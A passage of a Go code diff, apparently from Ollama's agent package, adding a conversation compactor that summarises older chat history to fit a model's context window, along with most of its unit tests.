+		t.Fatalf("allow all = %v result = %#v, want allow all", session.ApprovalState.AllGranted(), result)
+	}
+}

agent/compactor.go

@@ -0,0 +1,667 @@
+package agent
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"net/http"
+	"strings"
+
+	"github.com/ollama/ollama/api"
+)
+
+// Compaction wire-format. These constants and helpers are the single canonical
+// definition of how a compacted turn is represented in message history.
+const (
+	CompactionSummaryMessagePrefix = "Conversation summary:\n"
+	CompactionToolName             = "summary"
+	CompactionToolCallID           = "ollama_compaction"
+	CompactionContinueInstruction  = "continue the task in progress. the history has been compacted, do not mention compaction to the user"
+)
+
+const (
+	defaultCompactionContextWindowTokens = 32768
+	defaultCompactionKeepUserTurns       = 3
+	defaultCompactionThreshold           = 0.8
+	compactOnlySummaryContextTokens      = 16000
+
+	maxCompactionSummaryRunes = 16 * 1024
+
+	compactionSystemPrompt = "Summarize the archived part of an Ollama agent conversation. Preserve user goals, decisions, files, commands, tool results, and unresolved tasks needed to continue. Omit private reasoning and return only the summary."
+)
+
+type Compactor interface {
+	MaybeCompact(context.Context, CompactionRequest) (CompactionResult, error)
+
+	// ContextWindowTokens returns the effective context window size in
+	// tokens, resolving runtime options against configured defaults.
+	ContextWindowTokens(options map[string]any) int
+
+	// Threshold returns the compaction threshold as a fraction of the
+	// context window (e.g. 0.8 means compact at 80% capacity).
+	Threshold() float64
+
+	// ShouldCompact reports whether a compaction should run and returns the
+	// trigger reason. An empty trigger means compaction is not needed.
+	ShouldCompact(req CompactionRequest) (trigger string, should bool)
+}
+
+type CompactionOptions struct {
+	ContextWindowTokens int
+	KeepUserTurns       int
+	Threshold           float64
+}
+
+type CompactionRequest struct {
+	ChatID        string
+	Model         string
+	SystemPrompt  string
+	Messages      []api.Message
+	Tools         api.Tools
+	Format        string
+	Latest        api.ChatResponse
+	Options       map[string]any
+	KeepAlive     *api.Duration
+	Think         *api.ThinkValue
+	Force         bool
+	ContinueTask  bool
+	KeepUserTurns *int
+	Progress      func(CompactionProgress)
+}
+
+type CompactionProgress struct {
+	Tokens int
+}
+
+type CompactionResult struct {
+	Messages  []api.Message
+	Compacted bool
+	Due       bool
+	Summary   string
+	Reason    string
+}
+
+type SimpleCompactor struct {
+	Client  ChatClient
+	Options CompactionOptions
+}
+
+func (c *SimpleCompactor) MaybeCompact(ctx context.Context, req CompactionRequest) (CompactionResult, error) {
+	result := CompactionResult{Messages: req.Messages}
+	if c == nil {
+		return result, nil
+	}
+
+	result.Due = req.Force || c.shouldCompact(req)
+	if !result.Due {
+		return result, nil
+	}
+	if c.Client == nil {
+		result.Reason = "compaction is unavailable"
+		return result, nil
+	}
+
+	keepUserTurns := c.keepUserTurns(req.Options)
+	if req.KeepUserTurns != nil {
+		keepUserTurns = *req.KeepUserTurns
+	}
+	prefix, previousSummary, archive, suffix, _, ok := splitCompactionMessages(req.Messages, keepUserTurns)
+	if !ok || len(archive) == 0 {
+		result.Reason = "nothing to compact"
+		return result, nil
+	}
+
+	summary, err := c.summarize(ctx, req, previousSummary, archive)
+	if err != nil {
+		result.Reason = err.Error()
+		return result, err
+	}
+	summary = truncateCompactionSummary(strings.TrimSpace(summary))
+	if summary == "" {
+		summary, err = c.summarizeEmptyFallback(ctx, req, previousSummary, archive)
+		if err != nil {
+			result.Reason = err.Error()
+			return result, err
+		}
+		summary = truncateCompactionSummary(strings.TrimSpace(summary))
+	}
+	if summary == "" {
+		result.Reason = "summary was empty"
+		return result, nil
+	}
+
+	compacted := make([]api.Message, 0, len(prefix)+len(suffix)+2)
+	compacted = append(compacted, prefix...)
+	compacted = append(compacted, CompactionSummaryMessages(summary, req.ContinueTask)...)
+	compacted = append(compacted, suffix...)
+	result.Messages = compacted
+	result.Compacted = true
+	result.Summary = summary
+	return result, nil
+}
+
+func (c *SimpleCompactor) shouldCompact(req CompactionRequest) bool {
+	contextWindow := c.contextWindowTokens(req.Options)
+	threshold := int(float64(contextWindow) * c.threshold())
+	if threshold <= 0 {
+		return false
+	}
+	if req.Latest.PromptEvalCount > 0 && req.Latest.PromptEvalCount >= threshold {
+		return true
+	}
+	return estimateCompactionRequestTokens(req) >= threshold
+}
+
+func (c *SimpleCompactor) contextWindowTokens(options map[string]any) int {
+	return ResolveContextWindowTokens(options, c.Options.ContextWindowTokens)
+}
+
+// ContextWindowTokens resolves the effective context window from runtime
+// options or configured defaults. Satisfies the Compactor interface.
+func (c *SimpleCompactor) ContextWindowTokens(options map[string]any) int {
+	if c == nil {
+		return 0
+	}
+	return c.contextWindowTokens(options)
+}
+
+func (c *SimpleCompactor) threshold() float64 {
+	return ResolveCompactionThreshold(c.Options.Threshold)
+}
+
+// Threshold returns the configured compaction threshold fraction. Satisfies
+// the Compactor interface.
+func (c *SimpleCompactor) Threshold() float64 {
+	if c == nil {
+		return 0
+	}
+	return c.threshold()
+}
+
+// ShouldCompact reports whether compaction is due and the trigger reason.
+// Satisfies the Compactor interface.
+func (c *SimpleCompactor) ShouldCompact(req CompactionRequest) (string, bool) {
+	if c == nil {
+		return "", false
+	}
+	if req.Force {
+		return "force", true
+	}
+	if c.shouldCompact(req) {
+		contextWindow := c.contextWindowTokens(req.Options)
+		threshold := int(float64(contextWindow) * c.threshold())
+		if req.Latest.PromptEvalCount > 0 && req.Latest.PromptEvalCount >= threshold {
+			return "prompt_eval", true
+		}
+		return "estimate", true
+	}
+	return "", false
+}
+
+func (c *SimpleCompactor) keepUserTurns(options map[string]any) int {
+	contextWindow := c.contextWindowTokens(options)
+	if contextWindow > 0 && contextWindow < compactOnlySummaryContextTokens {
+		return 0
+	}
+	if c.Options.KeepUserTurns > 0 {
+		return c.Options.KeepUserTurns
+	}
+	return defaultCompactionKeepUserTurns
+}
+
+func ResolveContextWindowTokens(options map[string]any, configured int) int {
+	if n := intOption(options, "num_ctx"); n > 0 {
+		return n
+	}
+	if configured > 0 {
+		return configured
+	}
+	return defaultCompactionContextWindowTokens
+}
+
+func ResolveCompactionThreshold(configured float64) float64 {
+	if configured > 0 {
+		return configured
+	}
+	return defaultCompactionThreshold
+}
+
+func (c *SimpleCompactor) summarize(ctx context.Context, req CompactionRequest, previousSummary string, archive []api.Message) (string, error) {
+	body, err := compactionPrompt(previousSummary, archive, c.compactionPromptBodyBudgetTokens(req.Options))
+	if err != nil {
+		return "", err
+	}
+
+	chatReq := &api.ChatRequest{
+		Model: req.Model,
+		Messages: []api.Message{
+			{
+				Role:    "system",
+				Content: compactionSystemPrompt,
+			},
+			{
+				Role:    "user",
+				Content: body,
+			},
+		},
+		Options: req.Options,
+		Think:   req.Think,
+	}
+	if req.KeepAlive != nil {
+		chatReq.KeepAlive = req.KeepAlive
+	}
+
+	var summary strings.Builder
+	if err := c.Client.Chat(ctx, chatReq, func(response api.ChatResponse) error {
+		summary.WriteString(response.Message.Content)
+		if req.Progress != nil {
+			tokens := response.EvalCount
+			if tokens <= 0 {
+				tokens = estimateCompactionTokens(summary.String())
+			}
+			req.Progress(CompactionProgress{Tokens: tokens})
+		}
+		return nil
+	}); err != nil {
+		return "", err
+	}
+	return summary.String(), nil
+}
+
+func (c *SimpleCompactor) summarizeEmptyFallback(ctx context.Context, req CompactionRequest, previousSummary string, archive []api.Message) (string, error) {
+	retry := req
+	retry.Think = &api.ThinkValue{Value: false}
+	summary, err := c.summarize(ctx, retry, previousSummary, archive)
+	if err == nil {
+		return summary, nil
+	}
+	if !isUnsupportedCompactionThinkError(err) {
+		return "", err
+	}
+	if req.Think == nil {
+		return "", nil
+	}
+	retry.Think = nil
+	return c.summarize(ctx, retry, previousSummary, archive)
+}
+
+func isUnsupportedCompactionThinkError(err error) bool {
+	if err == nil {
+		return false
+	}
+	text := strings.ToLower(err.Error())
+	if !strings.Contains(text, "think") {
+		return false
+	}
+	var statusErr api.StatusError
+	if errors.As(err, &statusErr) && statusErr.StatusCode != 0 {
+		return statusErr.StatusCode == http.StatusBadRequest
+	}
+	return strings.Contains(text, "does not support") || strings.Contains(text, "not supported") || strings.Contains(text, "unsupported")
+}
+
+// compactionSummaryMessageForTask renders a compaction summary as the content
+// string stored on the synthetic tool-result message.
+func compactionSummaryMessageForTask(summary string, continueTask bool) string {
+	content := CompactionSummaryMessagePrefix + strings.TrimSpace(summary)
+	if continueTask {
+		content = strings.TrimSpace(content) + "\n\n" + CompactionContinueInstruction
+	}
+	return content
+}
+
+// CompactionSummaryMessages renders a compaction summary as the assistant
+// tool-call plus tool-result pair that represents a compacted turn in the
+// message history.
+func CompactionSummaryMessages(summary string, continueTask bool) []api.Message {
+	return []api.Message{
+		{
+			Role: "assistant",
+			ToolCalls: []api.ToolCall{{
+				ID: CompactionToolCallID,
+				Function: api.ToolCallFunction{
+					Name: CompactionToolName,
+				},
+			}},
+		},
+		{
+			Role:       "tool",
+			ToolName:   CompactionToolName,
+			ToolCallID: CompactionToolCallID,
+			Content:    compactionSummaryMessageForTask(summary, continueTask),
+		},
+	}
+}
+
+func (c *SimpleCompactor) compactionPromptBodyBudgetTokens(options map[string]any) int {
+	contextWindow := c.contextWindowTokens(options)
+	threshold := int(float64(contextWindow) * c.threshold())
+	if threshold <= 0 {
+		return 0
+	}
+	systemTokens := estimateCompactionTokens("system") + estimateCompactionTokens(compactionSystemPrompt)
+	userRoleTokens := estimateCompactionTokens("user")
+	budget := threshold - systemTokens - userRoleTokens
+	if budget <= 0 {
+		return 0
+	}
+	return budget
+}
+
+func truncateCompactionSummary(summary string) string {
+	return Truncate(summary, TruncateConfig{
+		MaxRunes: maxCompactionSummaryRunes,
+		Label:    "summary",
+	})
+}
+
+func estimateCompactionTokens(text string) int {
+	text = strings.TrimSpace(text)
+	if text == "" {
+		return 0
+	}
+	return ApproximateTokens(len([]rune(text)))
+}
+
+func estimateMessagesTokens(messages []api.Message) int {
+	var total int
+	for _, msg := range messages {
+		total += estimateCompactionTokens(msg.Role)
+		total += estimateCompactionTokens(msg.Content)
+		total += estimateCompactionTokens(msg.Thinking)
+		total += estimateCompactionTokens(msg.ToolName)
+		total += estimateCompactionTokens(msg.ToolCallID)
+		for _, call := range msg.ToolCalls {
+			total += estimateCompactionTokens(call.Function.Name)
+			total += estimateCompactionTokens(call.Function.Arguments.String())
+		}
+	}
+	return total
+}
+
+func estimateCompactionRequestTokens(req CompactionRequest) int {
+	requestMessages := sanitizeMessagesForEstimate(req.Messages)
+	if strings.TrimSpace(req.SystemPrompt) != "" {
+		requestMessages = make([]api.Message, 0, len(req.Messages)+1)
+		requestMessages = append(requestMessages, api.Message{Role: "system", Content: strings.TrimSpace(req.SystemPrompt)})
+		requestMessages = append(requestMessages, sanitizeMessagesForEstimate(req.Messages)...)
+	}
+
+	payload := struct {
+		Messages []api.Message   `json:"messages,omitempty"`
+		Tools    api.Tools       `json:"tools,omitempty"`
+		Format   json.RawMessage `json:"format,omitempty"`
+	}{
+		Messages: requestMessages,
+		Tools:    req.Tools,
+	}
+	if rawFormat, ok := compactionFormatForEstimate(req.Format); ok {
+		payload.Format = rawFormat
+	}
+	if data, err := json.Marshal(payload); err == nil {
+		return estimateCompactionTokens(string(data))
+	}
+
+	total := estimateMessagesTokens(requestMessages)
+	total += estimateCompactionTokens(req.Tools.String())
+	total += estimateCompactionTokens(req.Format)
+	return total
+}
+
+func (s *Session) estimateRunPromptTokens(opts RunOptions, messages []api.Message) int {
+	return estimateCompactionRequestTokens(CompactionRequest{
+		SystemPrompt: opts.SystemPrompt,
+		Messages:     messages,
+		Tools:        s.availableTools(),
+		Format:       opts.Format,
+		Options:      opts.Options,
+	})
+}
+
+func (s *Session) checkPreflightPromptBudget(opts RunOptions, messages []api.Message) error {
+	contextWindow := s.contextWindowTokens(opts)
+	if contextWindow <= 0 {
+		return nil
+	}
+	estimated := s.estimateRunPromptTokens(opts, messages)
+	if estimated < contextWindow {
+		return nil
+	}
+	return fmt.Errorf("prompt is too large for the current context (~%d/%d tokens). Reduce the system prompt or message history, compact the conversation, or use a model with a larger context", estimated, contextWindow)
+}
+
+func (s *Session) checkPostCompactionPromptBudget(opts RunOptions, messages []api.Message) error {
+	contextWindow := s.contextWindowTokens(opts)
+	if contextWindow <= 0 {
+		return nil
+	}
+	estimated := s.estimateRunPromptTokens(opts, messages)
+	if estimated < contextWindow {
+		return nil
+	}
+	return fmt.Errorf("history is still too large after compaction (~%d/%d tokens). Start a fresh request, reduce the system prompt or history, or use a model with a larger context", estimated, contextWindow)
+}
+
+func sanitizeMessagesForEstimate(messages []api.Message) []api.Message {
+	requestMessages := sanitizeMessagesForRequest(messages)
+	for i := range requestMessages {
+		// Image token accounting is model-specific. Without the active model's
+		// tokenizer and vision accounting, raw image bytes/base64 make the
+		// estimate look much larger than the prompt the model actually sees.
+		requestMessages[i].Images = nil
+	}
+	return requestMessages
+}
+
+func compactionFormatForEstimate(format string) (json.RawMessage, bool) {
+	format = strings.TrimSpace(format)
+	if format == "" {
+		return nil, false
+	}
+	if format == "json" {
+		return json.RawMessage(`"json"`), true
+	}
+	if !json.Valid([]byte(format)) {
+		return nil, false
+	}
+	return json.RawMessage(format), true
+}
+
+func compactionPrompt(previousSummary string, archive []api.Message, maxTokens int) (string, error) {
+	messages := make([]api.Message, 0, len(archive))
+	for _, msg := range archive {
+		msg.Thinking = ""
+		msg.Images = nil
+		messages = append(messages, msg)
+	}
+	return renderCompactionPrompt(previousSummary, fitCompactionMessagesToBudget(previousSummary, messages, maxTokens))
+}
+
+func renderCompactionPrompt(previousSummary string, messages []api.Message) (string, error) {
+	payload, err := json.MarshalIndent(messages, "", "  ")
+	if err != nil {
+		return "", fmt.Errorf("marshal compaction messages: %w", err)
+	}
+
+	var b strings.Builder
+	if strings.TrimSpace(previousSummary) != "" {
+		b.WriteString("Previous summary:\n")
+		b.WriteString(strings.TrimSpace(previousSummary))
+		b.WriteString("\n\n")
+	}
+	b.WriteString("Messages to archive as JSON:\n")
+	b.Write(payload)
+	return b.String(), nil
+}
+
+func fitCompactionMessagesToBudget(previousSummary string, messages []api.Message, maxTokens int) []api.Message {
+	if maxTokens <= 0 {
+		return messages
+	}
+	fitted := append([]api.Message(nil), messages...)
+	for range 16 {
+		body, err := renderCompactionPrompt(previousSummary, fitted)
+		if err != nil || estimateCompactionTokens(body) <= maxTokens {
+			return fitted
+		}
+
+		idx := largestCompactionContentMessage(fitted)
+		if idx < 0 {
+			return fitted
+		}
+		overageTokens := estimateCompactionTokens(body) - maxTokens
+		currentRunes := len([]rune(fitted[idx].Content))
+		nextRunes := currentRunes - overageTokens*4 - 256
+		if nextRunes >= currentRunes {
+			nextRunes = currentRunes / 2
+		}
+		fitted[idx].Content = truncateToolResultContentTo(fitted[idx].Content, nextRunes)
+	}
+	return fitted
+}
+
+func largestCompactionContentMessage(messages []api.Message) int {
+	idx := -1
+	size := 0
+	for i, msg := range messages {
+		n := len([]rune(msg.Content))
+		if n > size {
+			idx = i
+			size = n
+		}
+	}
+	return idx
+}
+
+func splitCompactionMessages(messages []api.Message, keepUserTurns int) (prefix []api.Message, previousSummary string, archive []api.Message, suffix []api.Message, keptUserTurns int, ok bool) {
+	if keepUserTurns < 0 {
+		keepUserTurns = defaultCompactionKeepUserTurns
+	}
+
+	start := 0
+	for start < len(messages) && messages[start].Role == "system" && !isCompactionSummary(messages[start]) {
+		prefix = append(prefix, messages[start])
+		start++
+	}
+
+	candidates := make([]api.Message, 0, len(messages)-start)
+	for i := start; i < len(messages); i++ {
+		msg := messages[i]
+		if isCompactionSummary(msg) {
+			previousSummary = CompactionSummaryText(msg.Content)
+			continue
+		}
+		if isCompactionToolCall(msg) {
+			if i+1 < len(messages) && isCompactionSummary(messages[i+1]) {
+				previousSummary = CompactionSummaryText(messages[i+1].Content)
+				i++
+			}
+			continue
+		}
+		candidates = append(candidates, msg)
+	}
+
+	userTurnIndexes := make([]int, 0, keepUserTurns)
+	for i := len(candidates) - 1; i >= 0; i-- {
+		if candidates[i].Role == "user" {
+			userTurnIndexes = append(userTurnIndexes, i)
+		}
+	}
+	keptUserTurns = keepUserTurns
+	if len(userTurnIndexes) <= keptUserTurns {
+		keptUserTurns = len(userTurnIndexes) - 1
+	}
+	if keptUserTurns < 0 {
+		keptUserTurns = 0
+	}
+
+	suffixStart := len(candidates)
+	if keptUserTurns > 0 {
+		suffixStart = userTurnIndexes[keptUserTurns-1]
+	}
+	if suffixStart <= 0 || len(candidates[:suffixStart]) == 0 {
+		return prefix, previousSummary, nil, nil, keptUserTurns, false
+	}
+
+	return prefix, previousSummary, candidates[:suffixStart], candidates[suffixStart:], keptUserTurns, true
+}
+
+func isCompactionToolName(name string) bool {
+	return name == CompactionToolName
+}
+
+func isCompactionSummary(msg api.Message) bool {
+	return (msg.Role == "user" || msg.Role == "system" || (msg.Role == "tool" && isCompactionToolName(msg.ToolName))) &&
+		strings.HasPrefix(msg.Content, CompactionSummaryMessagePrefix)
+}
+
+// IsCompactionSummary reports whether msg uses the canonical compaction
+// summary message representation.
+func IsCompactionSummary(msg api.Message) bool {
+	return isCompactionSummary(msg)
+}
+
+// CompactionSummaryContent returns the user-visible summary from msg when it
+// is a canonical compaction summary.
+func CompactionSummaryContent(msg api.Message) (string, bool) {
+	if !isCompactionSummary(msg) {
+		return "", false
+	}
+	return CompactionSummaryText(msg.Content), true
+}
+
+// IsCompactionToolResult reports whether msg is the synthetic tool result used
+// to represent compaction in message history.
+func IsCompactionToolResult(msg api.Message) bool {
+	return msg.Role == "tool" && (isCompactionToolName(msg.ToolName) || msg.ToolCallID == CompactionToolCallID)
+}
+
+// IsCompactionToolCall reports whether msg is the synthetic assistant tool
+// call paired with a compaction summary result.
+func IsCompactionToolCall(msg api.Message) bool {
+	return isCompactionToolCall(msg)
+}
+
+func isCompactionToolCall(msg api.Message) bool {
+	if msg.Role != "assistant" {
+		return false
+	}
+	for _, call := range msg.ToolCalls {
+		if isCompactionToolName(call.Function.Name) {
+			return true
+		}
+	}
+	return false
+}
+
+// CompactionSummaryText reverses CompactionSummaryMessages, returning the
+// user-visible summary text with the prefix and any continuation instruction
+// removed.
+func CompactionSummaryText(content string) string {
+	return strings.TrimSpace(strings.TrimSuffix(
+		strings.TrimSpace(strings.TrimPrefix(content, CompactionSummaryMessagePrefix)),
+		CompactionContinueInstruction,
+	))
+}
+
+func intOption(options map[string]any, key string) int {
+	if options == nil {
+		return 0
+	}
+	switch v := options[key].(type) {
+	case int:
+		return v
+	case int64:
+		return int(v)
+	case float64:
+		return int(v)
+	case float32:
+		return int(v)
+	case json.Number:
+		n, _ := v.Int64()
+		return int(n)
+	default:
+		return 0
+	}
+}

agent/compactor_test.go

@@ -0,0 +1,773 @@
+package agent
+
+import (
+	"context"
+	"net/http"
+	"strings"
+	"testing"
+
+	"github.com/ollama/ollama/api"
+)
+
+type scriptedCompactionClient struct {
+	responses [][]api.ChatResponse
+	errs      []error
+	requests  []*api.ChatRequest
+}
+
+func (c *scriptedCompactionClient) Chat(_ context.Context, req *api.ChatRequest, fn api.ChatResponseFunc) error {
+	c.requests = append(c.requests, req)
+	i := len(c.requests) - 1
+	if i < len(c.responses) {
+		for _, response := range c.responses[i] {
+			if err := fn(response); err != nil {
+				return err
+			}
+		}
+	}
+	if i < len(c.errs) {
+		return c.errs[i]
+	}
+	return nil
+}
+
+func assertCompactionSummaryPair(t *testing.T, messages []api.Message) {
+	t.Helper()
+	if len(messages) != 2 {
+		t.Fatalf("compaction summary pair len = %d, want 2: %#v", len(messages), messages)
+	}
+	if messages[0].Role != "assistant" || len(messages[0].ToolCalls) != 1 || messages[0].ToolCalls[0].Function.Name != CompactionToolName {
+		t.Fatalf("compaction assistant message = %#v", messages[0])
+	}
+	if messages[0].ToolCalls[0].Function.Arguments.Len() != 0 {
+		t.Fatalf("compaction summary tool call should not have arguments: %#v", messages[0].ToolCalls[0].Function.Arguments.ToMap())
+	}
+	if messages[1].Role != "tool" || messages[1].ToolName != CompactionToolName || messages[1].ToolCallID != messages[0].ToolCalls[0].ID {
+		t.Fatalf("compaction tool result = %#v", messages[1])
+	}
+	if !strings.HasPrefix(messages[1].Content, CompactionSummaryMessagePrefix) {
+		t.Fatalf("compaction tool result missing summary prefix: %#v", messages[1])
+	}
+}
+
+func TestSimpleCompactorSummarizesOldMessages(t *testing.T) {
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: "summary"}},
+		}},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 16000,
+		KeepUserTurns:       2,
+		Threshold:           0.5,
+	}}
+
+	messages := []api.Message{
+		{Role: "system", Content: "stay pinned"},
+		{Role: "user", Content: "old request"},
+		{Role: "assistant", Content: "old answer", Thinking: "hidden"},
+		{Role: "user", Content: "recent one"},
+		{Role: "assistant", Content: "recent answer"},
+		{Role: "user", Content: "recent two"},
+	}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		ChatID:   "chat-1",
+		Model:    "model",
+		Messages: messages,
+		Latest:   api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Compacted {
+		t.Fatal("expected compaction")
+	}
+	compacted := result.Messages
+	if len(compacted) != 6 {
+		t.Fatalf("compacted messages = %d, want 6", len(compacted))
+	}
+	if compacted[0].Content != "stay pinned" {
+		t.Fatalf("first message = %#v", compacted[0])
+	}
+	if result.Summary != "summary" {
+		t.Fatalf("result summary = %q", result.Summary)
+	}
+	assertCompactionSummaryPair(t, compacted[1:3])
+	if compacted[3].Content != "recent one" || compacted[5].Content != "recent two" {
+		t.Fatalf("recent turns were not kept: %#v", compacted)
+	}
+	if len(client.requests) != 1 {
+		t.Fatalf("summary requests = %d, want 1", len(client.requests))
+	}
+	if strings.Contains(client.requests[0].Messages[1].Content, "hidden") {
+		t.Fatal("compaction prompt should omit thinking")
+	}
+}
+
+func TestSimpleCompactorKeepsOnlySummaryForSmallContext(t *testing.T) {
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: "small context summary"}},
+		}},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: compactOnlySummaryContextTokens - 1,
+		KeepUserTurns:       3,
+		Threshold:           0.5,
+	}}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		ChatID:       "chat-1",
+		Model:        "model",
+		ContinueTask: true,
+		Messages: []api.Message{
+			{Role: "system", Content: "pinned"},
+			{Role: "user", Content: "old request"},
+			{Role: "assistant", Content: "old answer"},
+			{Role: "user", Content: "latest request"},
+		},
+		Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Compacted {
+		t.Fatal("expected compaction")
+	}
+	if len(result.Messages) != 3 {
+		t.Fatalf("messages = %#v, want system plus compaction summary pair", result.Messages)
+	}
+	if result.Messages[0].Content != "pinned" {
+		t.Fatalf("leading system message not kept: %#v", result.Messages)
+	}
+	assertCompactionSummaryPair(t, result.Messages[1:])
+	if !strings.Contains(result.Messages[2].Content, CompactionContinueInstruction) {
+		t.Fatalf("tool result missing continue instruction: %q", result.Messages[2].Content)
+	}
+}
+
+func TestSimpleCompactorAddsContinueTaskInstructionOnlyToToolResult(t *testing.T) {
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: "summary"}},
+		}},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 100,
+		KeepUserTurns:       1,
+		Threshold:           0.5,
+	}}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		ChatID:       "chat-1",
+		Model:        "model",
+		ContinueTask: true,
+		Messages: []api.Message{
+			{Role: "user", Content: "old request"},
+			{Role: "assistant", Content: "old answer"},
+			{Role: "user", Content: "recent request"},
+		},
+		Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 75}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if result.Summary != "summary" {
+		t.Fatalf("result summary = %q", result.Summary)
+	}
+	content := result.Messages[1].Content
+	if !strings.Contains(content, CompactionContinueInstruction) {
+		t.Fatalf("tool result missing continue instruction: %q", content)
+	}
+	if got := CompactionSummaryText(content); got != "summary" {
+		t.Fatalf("visible summary text = %q", got)
+	}
+}
+
+func TestSimpleCompactorTruncatesOversizedSummary(t *testing.T) {
+	longSummary := strings.Repeat("x", maxCompactionSummaryRunes+1024)
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: longSummary}},
+		}},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 100,
+		KeepUserTurns:       1,
+		Threshold:           0.5,
+	}}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		ChatID: "chat-1",
+		Model:  "model",
+		Messages: []api.Message{
+			{Role: "user", Content: "old one"},
+			{Role: "assistant", Content: "old answer"},
+			{Role: "user", Content: "recent one"},
+		},
+		Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 75}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Compacted {
+		t.Fatal("expected compaction")
+	}
+	if runeCount := len([]rune(result.Summary)); runeCount > maxCompactionSummaryRunes+200 {
+		t.Fatalf("summary runes = %d, want <= %d (plus marker)", runeCount, maxCompactionSummaryRunes)
+	}
+	if !strings.Contains(result.Summary, "[summary truncated:") {
+		t.Fatalf("summary missing truncation marker: %q", result.Summary)
+	}
+	if !strings.Contains(result.Messages[1].Content, "[summary truncated:") {
+		t.Fatalf("compacted message missing truncation marker: %#v", result.Messages)
+	}
+}
+
+func TestSimpleCompactorRetriesEmptySummaryWithThinkFalse(t *testing.T) {
+	client := &scriptedCompactionClient{
+		responses: [][]api.ChatResponse{
+			{{Message: api.Message{Role: "assistant", Thinking: "internal summary plan"}}},
+			{{Message: api.Message{Role: "assistant", Content: "fallback summary"}}},
+		},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 100,
+		KeepUserTurns:       1,
+		Threshold:           0.5,
+	}}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		Model: "model",
+		Messages: []api.Message{
+			{Role: "user", Content: "old request"},
+			{Role: "assistant", Content: "old answer"},
+			{Role: "user", Content: "recent request"},
+		},
+		Force: true,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Compacted || result.Summary != "fallback summary" {
+		t.Fatalf("compaction result = %#v", result)
+	}
+	if len(client.requests) != 2 {
+		t.Fatalf("summary requests = %d, want 2", len(client.requests))
+	}
+	if client.requests[0].Think != nil {
+		t.Fatalf("first summary request think = %#v, want nil", client.requests[0].Think)
+	}
+	if client.requests[1].Think == nil || client.requests[1].Think.Value != false {
+		t.Fatalf("fallback summary request think = %#v, want false", client.requests[1].Think)
+	}
+}
+
+func TestSimpleCompactorIgnoresUnsupportedThinkFalseFallback(t *testing.T) {
+	client := &scriptedCompactionClient{
+		responses: [][]api.ChatResponse{
+			{{Message: api.Message{Role: "assistant", Thinking: "internal summary plan"}}},
+			nil,
+		},
+		errs: []error{
+			nil,
+			api.StatusError{StatusCode: http.StatusBadRequest, ErrorMessage: "model does not support thinking"},
+		},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 100,
+		KeepUserTurns:       1,
+		Threshold:           0.5,
+	}}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		Model: "model",
+		Messages: []api.Message{
+			{Role: "user", Content: "old request"},
+			{Role: "assistant", Content: "old answer"},
+			{Role: "user", Content: "recent request"},
+		},
+		Force: true,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if result.Compacted || result.Reason != "summary was empty" {
+		t.Fatalf("compaction result = %#v", result)
+	}
+	if len(client.requests) != 2 {
+		t.Fatalf("summary requests = %d, want 2", len(client.requests))
+	}
+	if client.requests[1].Think == nil || client.requests[1].Think.Value != false {
+		t.Fatalf("fallback summary request think = %#v, want false", client.requests[1].Think)
+	}
+}
+
+func TestSimpleCompactorFallsBackToUnsetThinkWhenThinkFalseUnsupported(t *testing.T) {
+	client := &scriptedCompactionClient{
+		responses: [][]api.ChatResponse{
+			{{Message: api.Message{Role: "assistant", Thinking: "internal summary plan"}}},
+			nil,
+			{{Message: api.Message{Role: "assistant", Content: "unset think summary"}}},
+		},
+		errs: []error{
+			nil,
+			api.StatusError{StatusCode: http.StatusBadRequest, ErrorMessage: "think level is not supported"},
+			nil,
+		},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 100,
+		KeepUserTurns:       1,
+		Threshold:           0.5,
+	}}
+	thinkHigh := &api.ThinkValue{Value: "high"}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		Model: "model",
+		Messages: []api.Message{
+			{Role: "user", Content: "old request"},
+			{Role: "assistant", Content: "old answer"},
+			{Role: "user", Content: "recent request"},
+		},
+		Think: thinkHigh,
+		Force: true,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Compacted || result.Summary != "unset think summary" {
+		t.Fatalf("compaction result = %#v", result)
+	}
+	if len(client.requests) != 3 {
+		t.Fatalf("summary requests = %d, want 3", len(client.requests))
+	}
+	if client.requests[0].Think != thinkHigh {
+		t.Fatalf("first summary request think = %#v, want original", client.requests[0].Think)
+	}
+	if client.requests[1].Think == nil || client.requests[1].Think.Value != false {
+		t.Fatalf("fallback summary request think = %#v, want false", client.requests[1].Think)
+	}
